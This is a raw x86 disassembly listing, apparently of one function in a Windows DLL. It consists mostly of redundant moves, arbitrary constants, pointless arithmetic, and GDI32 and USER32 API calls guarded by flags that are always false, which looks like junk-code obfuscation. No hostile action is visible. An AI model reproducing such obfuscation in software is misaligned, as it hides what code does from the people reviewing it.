mov eax, dword [ebp - 0x2c0]
mov ecx, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
xor eax, eax
neg ecx
cmp ecx, 0x9695
setne al
xor ecx, ecx
cmp eax, 0x4ba3
setl cl
xor eax, eax
add ecx, 0x68a0
cmp dword [ebp - 0x2c0], ecx
je 0x10031a51
cmp dword [ebp - 0x2c0], eax
je 0x10031a51
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xfffffff3
jle 0x10031b47
xor ecx, ecx
inc ecx
mov dword [ebp - 0x3c], ecx
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x10031a0f
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
mov eax, dword [ebp - 0x2c0]
xor eax, eax
inc eax
mov dword [ebp - 0x3c], eax
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffff3
push 0
pop eax
jg 0x100319f9
push 2
pop edx
jmp 0x10031b47
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0xfffffff5
jg 0x1003193c
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x10031a4c
push eax
call esi
xor eax, eax
dec dword [ebp - 0x34]
jmp 0x10031a34
mov dword [ebp - 0x1c], edx
cmp dword [ebp - 0x1c], eax
jl 0x10031b47
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], edx
cmp dword [ebp - 0x38], eax
jl 0x10031afa
or ecx, 0xffffffff
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x24], edx
cmp dword [ebp - 0x24], eax
jl 0x10031ae0
push edx
lea ecx, [ebp - 0xb48]
call fcn.100173a1
xor eax, eax
mov dword [ebp - 4], 0x12
mov dword [ebp - 0x14], eax
jmp 0x10031aa5
push dword [ebp - 0x14]
call fcn.1001743f
mov dword [eax], 0xd21b1857
inc dword [ebp - 0x14]
push 2
pop eax
lea ecx, [ebp - 0xb48]
cmp dword [ebp - 0x14], eax
jl 0x10031a94
xor eax, eax
inc eax
push eax
call fcn.1001743f
lea ecx, [ebp - 0xb48]
mov dword [eax], 0x877e0698
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.10017423
dec dword [ebp - 0x24]
push 2
pop edx
jns 0x10031a7a
xor eax, eax
or ecx, 0xffffffff
mov dword [ebp - 0x2c0], 0x4f1d4b08
mov dword [ebp - 0x20], 0x4f1d4b08
dec dword [ebp - 0x38]
jns 0x10031a6f
mov dword [ebp - 0x38], edx
cmp dword [ebp - 0x38], eax
jl 0x10031b3e
mov dword [ebp - 0x20], edx
cmp dword [ebp - 0x20], eax
jl 0x10031b39
mov dword [ebp - 0x14], 0xfffffff6
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x14], eax
jl 0x10031b34
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp + eax*4 - 0x2c4]
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x2c4], ecx
dec dword [ebp - 0x14]
jns 0x10031b19
xor eax, eax
dec dword [ebp - 0x20]
jns 0x10031b0a
dec dword [ebp - 0x38]
jns 0x10031b02
dec dword [ebp - 0x1c]
jns 0x10031a5d
mov dword [ebp - 0x3c], 0x622b
lea ecx, [ebp - 0x9f8]
push edx
call fcn.100173a1
xor eax, eax
mov dword [ebp - 4], 0x13
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x10031b8c
push dword [ebp - 0x14]
lea ecx, [ebp - 0x9f8]
call fcn.1001743f
xor ecx, ecx
inc ecx
push 2
mov dword [eax], ecx
inc dword [ebp - 0x14]
pop eax
cmp dword [ebp - 0x14], eax
jl 0x10031b6c
xor eax, eax
push eax
lea ecx, [ebp - 0x9f8]
call fcn.1001743f
mov ecx, dword [ebp - 0x3c]
mov dword [eax], ecx
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x10031bae
push eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
or eax, 0xffffffff
lea ecx, [ebp - 0x9f8]
mov dword [ebp - 4], eax
call fcn.10017423
push 2
pop eax
push eax
lea ecx, [ebp - 0x6a0]
call fcn.100173a1
mov dword [ebp - 4], 0x14
or eax, 0xffffffff
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x15
jmp 0x10031d1c
inc eax
lea ecx, [ebp - 0xc2c]
push 3
mov dword [ebp - 0x34], eax
pop eax
push eax
call fcn.100173a1
xor eax, eax
mov byte [ebp - 4], 0x15
push 3
mov dword [ebp - 0x1c], eax
pop edx
cmp dword [ebp - 0x1c], edx
jge 0x10031c2f
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xc2c]
call fcn.1001743f
push 3
pop edx
mov dword [eax], 2
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x10031c0e
xor eax, eax
xor ecx, ecx
mov dword [ebp - 0x1c], eax
inc ecx
cmp dword [ebp - 0x1c], ecx
jge 0x10031c4e
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x3c8], edx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10031c3a
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x10031c64
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x6e8], 0xfa66fa4b
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10031c53
mov eax, dword [ebp - 0x34]
lea ecx, [ebp - 0xc2c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
xor eax, eax
push eax
call fcn.1001743f
xor ecx, ecx
xor edx, edx
inc ecx
mov dword [eax], ecx
xor eax, eax
mov dword [ebp - 0x3c8], eax
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
inc ecx
add eax, ecx
mov dword [ebp - 0x6e8], eax
lea ecx, [eax + 4]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setne dl
sub edx, 0x3053
neg edx
sbb edx, edx
inc edx
sub eax, edx
neg eax
sbb eax, eax
inc eax
cmp eax, 0x844ba928
jae 0x10031cdb
xor eax, eax
cmp dword [ebp - 0x3c8], eax
je 0x10031cdd
inc eax
jmp 0x10031cdd
xor eax, eax
imul eax, eax, 0xe1cc
test eax, eax
je 0x10031f5a
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x10031cfe
push 0x211c
call ebx
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x10031d0a
push eax
call edi
lea ecx, [ebp - 0xc2c]
mov byte [ebp - 4], 0x14
call fcn.10017423
dec dword [ebp - 0x38]
xor eax, eax
cmp dword [ebp - 0x38], 0xffffffe7
jle 0x10031bea
or esi, 0xffffffff
lea ecx, [ebp - 0xedc]
mov dword [ebp - 0x14], esi
xor ebx, ebx
mov dword [ebp - 0x20], eax
inc ebx
mov dword [ebp - 0x44], 0x2da8afc1
mov dword [ebp - 0x34], 0x110e6b6c
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x24], 0x826
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x4c], 0x3818264d
mov dword [ebp - 0x28], 0xfffffffc
mov dword [ebp - 0x4c], 0xb323fa9d
mov dword [ebp - 0x3c], eax
push 4
call fcn.100173a1
xor eax, eax
mov byte [ebp - 4], 0x16
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 4
jge 0x10031da1
push dword [ebp - 0x14]
lea ecx, [ebp - 0xedc]
call fcn.1001743f
mov dword [eax], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x10031d86
xor eax, eax
cmp dword [ebp - 0x20], eax
jne 0x10031da9
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x44], 0x5732
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
neg eax
push 0
sbb eax, eax
inc eax
add eax, dword [ebp - 0x20]
neg eax
mov eax, dword [ebp - 0x20]
pop ecx
sets cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x34]
push 0xfffffffffffffff9
setge dl
xor ecx, ecx
cmp edx, eax
pop edi
setl cl
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x34], 0xfffffff1
cmp dword [ebp - 0x34], 4
je 0x10031f92
push 2
pop eax
mov dword [ebp - 0x40], 0x23ce
lea ecx, [ebp - 0x8d8]
push eax
call fcn.100173a1
push 3
pop eax
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x5d0]
mov dword [ebp - 0x4c], esi
push eax
call fcn.100173a1
mov byte [ebp - 4], 0x18
xor eax, eax
mov dword [ebp - 0x50], 0x55a5
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x10031e6f
push 2
pop ebx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x8d8]
call fcn.1001743f
mov dword [eax], 0x6f37d437
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10031e4e
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x18], eax
push 3
pop eax
cmp dword [ebp - 0x18], eax
jge 0x10031e9b
push eax
pop ebx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x5d0]
call fcn.1001743f
mov dword [eax], 0x2ce3
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10031e7c
xor ebx, ebx
inc ebx
push ebx
lea ecx, [ebp - 0x5d0]
call fcn.1001743f
mov ecx, dword [ebp - 0x3c]
mov edi, eax
push 0xfffffffffffffff9
pop eax
dec dword [edi]
cmp eax, ecx
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x50]
sbb edx, edx
inc edx
xor ebx, ebx
cmp edx, ecx
setg bl
xor ecx, ecx
cmp eax, ebx
setg cl
mov dword [ebp - 0x28], ecx
xor ecx, ecx
mov edx, dword [ebp - 0x28]
sub edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x40]
cmp edx, eax
setl cl
xor ebx, ebx
imul esi, ecx, 0x967a
inc ebx
push ebx
lea ecx, [ebp - 0x8d8]
call fcn.1001743f
or ecx, 0xffffffff
mov dword [eax], esi
xor eax, eax
cmp esi, ecx
sete al
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x44]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp dword [edi], eax
mov eax, dword [ebp - 0x40]
setg cl
sub eax, ecx
lea ecx, [ebp - 0x5d0]
mov dword [ebp - 0x50], eax
xor eax, eax
push eax
call fcn.1001743f
lea ecx, [ebp - 0x5d0]
cmp dword [eax], 0
jne 0x10031f7c
call fcn.10017423
lea ecx, [ebp - 0x8d8]
mov byte [ebp - 4], 0x16
call fcn.10017423
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 4
push 0xffffffffffffffff
pop esi
jne 0x10031e09
jmp 0x10031f8c
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0xfffffff5
jg 0x10031cfc
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x10031f77
push eax
call esi
xor eax, eax
dec dword [ebp - 0x34]
jmp 0x10031f5f
call fcn.10017423
lea ecx, [ebp - 0x8d8]
call fcn.10017423
push 0xfffffffffffffff9
pop edi
or esi, 0xffffffff
lea ecx, [ebp - 0xedc]
mov byte [ebp - 4], 0x14
call fcn.10017423
xor eax, eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x24], 0xe997
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10031fd0
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x6f8], 0xb0121307
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10031fb8
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0x1d
jg 0x10032042
mov dword [ebp - 0x20], 0xfffffffd
mov dword [ebp - 0x20], 0xffffffe5
jmp 0x1003202e
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x50], 0xfffffffc
mov dword [ebp - 0x28], 6
mov dword [ebp - 0x40], 0x79ae4f78
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x50]
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x1003201a
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x40]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x6f8], eax
inc dword [ebp - 0x20]
xor eax, eax
cmp dword [ebp - 0x20], eax
jg 0x10031fe9
mov eax, dword [ebp - 0x24]
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0x1d
push 0
pop eax
jle 0x10031fd9
mov dword [ebp - 0x4c], esi
mov ecx, 0x2e91a04
mov dword [ebp - 0x188], ecx
mov dword [ebp - 0x184], ecx
mov dword [ebp - 0x180], ecx
mov dword [ebp - 0x17c], ecx
mov dword [ebp - 0x1c], 0x1b35d569
mov dword [ebp - 0x20], esi
push 3
mov dword [ebp - 0x3c], 0x95372a71
mov dword [ebp - 0x17c], 0xffffffea
pop edx
cmp dword [ebp - 0x17c], 0xffffffef
jge 0x1003211e
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edx
jge 0x100320ad
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x428], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x10032095
xor eax, eax
mov dword [ebp - 0x428], eax
jmp 0x10032106
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x28], esi
cmp dword [ebp - 0x428], eax
jne 0x10032113
cmp dword [ebp - 0x40], edx
jg 0x100320dc
mov eax, dword [ebp - 0x428]
xor ecx, ecx
cmp eax, 6
setge cl
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x40]
xor eax, eax
cmp dword [ebp - 0x17c], ebx
jg 0x100320f1
cmp dword [ebp - 0x424], eax
jmp 0x100320fb
mov dword [ebp - 0x3c], 0x3e19f23e
cmp dword [ebp - 0x3c], eax
jne 0x10032111
inc dword [ebp - 0x428]
push 0
pop eax
cmp dword [ebp - 0x428], 0x10
jge 0x100320b5
jmp 0x10032113
xor eax, eax
inc dword [ebp - 0x17c]
jmp 0x10032080
mov dword [ebp - 0x1c], eax
jmp 0x1003220c
mov dword [ebp - 0x28], 0xfffffffc
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x188]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x17c]
sub ecx, dword [ebp - 0x17c]
mov eax, dword [ebp - 0x17c]
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, eax
jne 0x1003215f
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x188]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x188]
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x20], 0xe
cmp dword [ebp - 0x20], 0xa
jl 0x10032209
xor eax, eax
mov dword [ebp - 0x38], 0x98d08f49
mov dword [ebp - 0x38], eax
jmp 0x100321a8
mov eax, dword [ebp - 0x1c]
mov ecx, 0xfffe
mov eax, dword [ebp + eax*4 - 0x188]
sub ecx, eax
mov dword [ebp - 0x14], ecx
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], edx
jle 0x10032191
cmp dword [ebp - 0x17c], 0xfffffffd
je 0x100321b9
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
xor edx, edx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x17c]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setne dl
add edx, 0x15396e3a
neg edx
push 3
sbb edx, edx
inc edx
mov dword [ebp + eax*4 - 0x188], edx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x3c], eax
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xa
pop edx
jge 0x10032183
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jle 0x10032126
push 2
pop eax
push eax
lea ecx, [ebp - 0x8f0]
call fcn.100173a1
xor eax, eax
mov byte [ebp - 4], 0x19
push 2
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x10032258
push ecx
pop ebx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x8f0]
call fcn.1001743f
and dword [eax], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10032237
xor ebx, ebx
xor eax, eax
push 2
inc ebx
pop ecx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x10032274
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x22c], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10032260
xor eax, eax
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], ebx
jg 0x100322cb
mov dword [ebp - 0x3c], 0x1e29ea41
lea ecx, [ebp - 0x8f0]
push dword [ebp - 0x228]
call fcn.1001743f
push dword [ebp - 0x228]
lea ecx, [ebp - 0x8f0]
mov esi, eax
call fcn.1001743f
mov ecx, dword [esi]
mov dword [eax], ecx
mov dword [ebp - 0x3c], 0xd3f46721
inc dword [ebp - 0x228]
cmp dword [ebp - 0x228], ebx
jle 0x10032282
xor eax, eax
or esi, 0xffffffff
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x100322da
call dword [sym.imp.USER32.dll_CreatePopupMenu]
lea ecx, [ebp - 0x8f0]
mov byte [ebp - 4], 0x14
call fcn.10017423
xor eax, eax
mov dword [ebp - 0x14], eax
push 2
pop eax
cmp dword [ebp - 0x14], eax
jge 0x10032317
push eax
pop ebx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x6a0]
call fcn.1001743f
mov dword [eax], 0x9b3198a8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x100322f8
xor ebx, ebx
inc ebx
push ebx
lea ecx, [ebp - 0x94]
call fcn.100173a1
mov byte [ebp - 4], 0x1a
xor eax, eax
mov dword [ebp - 0x2c], 0xb4ffb87
mov dword [ebp - 0x18], 0x6bb2f144
mov dword [ebp - 0x30], 0xdb1d70f3
mov dword [ebp - 0x28], 0x535b5b06
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1003236e
push dword [ebp - 0x14]
lea ecx, [ebp - 0x94]
call fcn.1001743f
mov dword [eax], 0x64a6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10032350
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x10032459
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x3c], 0x42ad015b
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x100323a0
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x654], 0x5bd52a28
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10032388
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], eax
jl 0x10032456
mov dword [ebp - 0x3c], eax
lea ecx, [ebp - 0x94]
mov dword [ebp - 0x50], 0x4491d0b
push dword [ebp - 0x34]
call fcn.1001743f
push dword [ebp - 0x34]
lea ecx, [ebp - 0x94]
mov esi, eax
call fcn.1001743f
mov ecx, dword [eax]
mov dword [esi], ecx
mov ecx, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x34]
xor ecx, ecx
test eax, eax
mov eax, dword [ebp - 0x3c]
setg cl
xor edx, edx
cmp dword [esi], ecx
setne dl
add eax, edx
jne 0x10032402
push eax
lea ecx, [ebp - 0x94]
call fcn.1001743f
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x18]
jle 0x10032415
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x10032417
mov ecx, ebx
jmp 0x10032419
xor eax, eax
mov ecx, eax
xor eax, eax
mov dword [ebp - 0x654], ecx
test ecx, ecx
push 0
sete al
cmp eax, 0x95610a14
mov eax, dword [ebp - 0x50]
sbb edx, edx
add edx, 0x708c70a9
sub edx, edi
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
pop eax
setl cl
mov dword [ebp - 0x3c], ecx
dec dword [ebp - 0x34]
jns 0x100323ac
or esi, 0xffffffff
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], eax
jle 0x10032376
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], eax
jl 0x10032657
jmp 0x10032472
xor eax, eax
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x18], eax
jmp 0x10032495
push dword [ebp - 0x18]
lea ecx, [ebp - 0x94]
call fcn.1001743f
cmp dword [eax], 0
jne 0x1003249a
inc dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x18], eax
jle 0x1003247d
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x94]
call fcn.1001743f
xor esi, esi
cmp dword [eax], esi
je 0x100324e4
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x94]
call fcn.1001743f
mov esi, eax
lea ecx, [ebp - 0x94]
xor eax, eax
push eax
call fcn.1001743f
mov ecx, dword [esi]
xor edx, edx
cmp ecx, dword [eax]
setg dl
xor eax, eax
mov dword [ebp - 0x30], edx
xor esi, esi
cmp dword [ebp - 0x30], eax
je 0x100324e4
mov eax, dword [ebp - 0x2c]
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x94]
call fcn.1001743f
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x94]
call fcn.1001743f
mov eax, dword [ebp - 0x30]
lea ecx, [ebp - 0x94]
mov dword [ebp - 0x28], eax
push dword [ebp - 0x2c]
call fcn.1001743f
mov ecx, dword [ebp - 0x28]
xor edx, edx
push dword [ebp - 0x2c]
cmp dword [eax], ecx
lea ecx, [ebp - 0x94]
setle dl
mov dword [ebp - 0x3c], edx
call fcn.1001743f
mov ecx, dword [ebp - 0x3c]
xor ebx, ebx
push dword [ebp - 0x2c]
cmp dword [eax], ecx
lea ecx, [ebp - 0x94]
setne bl
call fcn.1001743f
cmp ebx, dword [eax]
jne 0x1003263c
mov dword [ebp - 0x20], 0x8a218178
lea ecx, [ebp - 0x94]
push dword [ebp - 0x2c]
call fcn.1001743f
cmp dword [eax], esi
jne 0x100325e1
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x94]
call fcn.1001743f
xor eax, eax
lea ecx, [ebp - 0x94]
push eax
call fcn.1001743f
mov eax, dword [ebp - 0x30]
lea ecx, [ebp - 0x94]
mov eax, dword [ebp - 0x20]
push dword [ebp - 0x2c]
call fcn.1001743f
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x94]
call fcn.1001743f
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x94]
call fcn.1001743f
mov eax, dword [ebp - 0x24]
lea ecx, [ebp - 0x94]
xor eax, eax
push eax
call fcn.1001743f
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x94]
call fcn.1001743f
cmp dword [eax], 0
jne 0x100325e1
xor eax, eax
xor ebx, ebx
mov esi, eax
inc ebx
jmp 0x100325e6
xor ebx, ebx
inc ebx
mov esi, ebx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x94]
call fcn.1001743f
xor ecx, ecx
cmp esi, dword [eax]
mov eax, dword [ebp - 0x20]
setg cl
sub eax, ecx
mov dword [ebp - 0x3c], eax
je 0x10032608
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
xor eax, eax
cmp dword [ebp - 0x20], eax
jg 0x1003261b
mov eax, dword [ebp - 0x40]
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x94]
call fcn.1001743f
cmp dword [eax], 0
jne 0x10032635
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x10032637
mov eax, ebx
or esi, 0xffffffff
jmp 0x10032648
or esi, 0xffffffff
mov dword [ebp - 0x3c], esi
mov eax, dword [ebp - 0x3c]
sub eax, 7
mov dword [ebp - 0x30], eax
dec dword [ebp - 0x2c]
push 1
pop ebx
jns 0x10032470
lea ecx, [ebp - 0x94]
mov byte [ebp - 4], 0x14
call fcn.10017423
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
xor eax, eax
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], eax
jl 0x100342e3
push 3
pop eax
mov dword [ebp - 0x34], esi
lea ecx, [ebp - 0x640]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x3c], 0x45e2
push eax
call fcn.100173a1
xor eax, eax
mov byte [ebp - 4], 0x1b
push 3
mov dword [ebp - 0x20], eax
pop ecx
cmp dword [ebp - 0x20], ecx
jge 0x100326ca
push ecx
pop ebx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x640]
call fcn.1001743f
mov dword [eax], 0xdda5659c
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x100326a9
xor ebx, ebx
xor eax, eax
inc ebx
push 0xfffffffffffffff8
pop ecx
mov dword [ebp - 0x34], ecx
cmp dword [ebp - 0x34], 0x1c
jl 0x100327c8
jmp 0x100326de
xor eax, eax
push 0xfffffffffffffff7
xor edx, edx
pop ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x28], 0xd6446bd2
mov dword [ebp - 0x44], 0xed09eb81
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x30]
cmp eax, ecx
setne dl
sub edx, 0x3f30
add edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x28]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setl cl
xor edx, edx
cmp ecx, 5
setne dl
xor eax, eax
cmp edx, esi
setge al
cmp eax, dword [ebp - 0x34]
jle 0x10032737
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x44]
lea ecx, [ebp - 0x640]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x3c]
push ebx
call fcn.1001743f
mov eax, dword [ebp - 0x40]
lea ecx, [ebp - 0x640]
mov eax, dword [ebp - 0x44]
push 2
pop eax
push eax
call fcn.1001743f
xor ebx, ebx
lea ecx, [ebp - 0x640]
cmp dword [eax], ebx
setne bl
xor eax, eax
inc eax
push eax
call fcn.1001743f
mov esi, eax
xor eax, eax
cmp ebx, 6
push 1
setne al
xor edx, edx
imul eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
pop ebx
push 0xffffffffffffffff
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setl dl
xor ecx, ecx
cmp edx, dword [esi]
pop esi
setl cl
xor edx, edx
test ecx, ecx
sets dl
sub edx, eax
add edx, 0x4ff3d90c
neg edx
sbb edx, edx
inc edx
sub edx, dword [ebp - 0x30]
mov dword [ebp - 0x44], edx
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0x1c
jge 0x100326dc
or esi, esi
lea ecx, [ebp - 0x640]
mov byte [ebp - 4], 0x14
call fcn.10017423
push 3
pop eax
push eax
lea ecx, [ebp - 0xa58]
call fcn.100173a1
push 3
pop eax
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x4b0]
mov dword [ebp - 0x38], 0xe0cf
push eax
call fcn.100173a1
mov byte [ebp - 4], 0x1d
mov eax, 0xfffb
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x30], eax
xor eax, eax
mov dword [ebp - 0x34], eax
push 3
mov dword [ebp - 0x3c], 0xc733f7cf
pop ecx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x10032846
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x4b0]
call fcn.1001743f
push 3
pop ecx
mov dword [eax], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10032829
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x10032862
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1158], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1003284e
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x10032878
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1314], 0x1a91f101
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x10032867
inc dword [ebp - 0x38]
lea ecx, [ebp - 0x4b0]
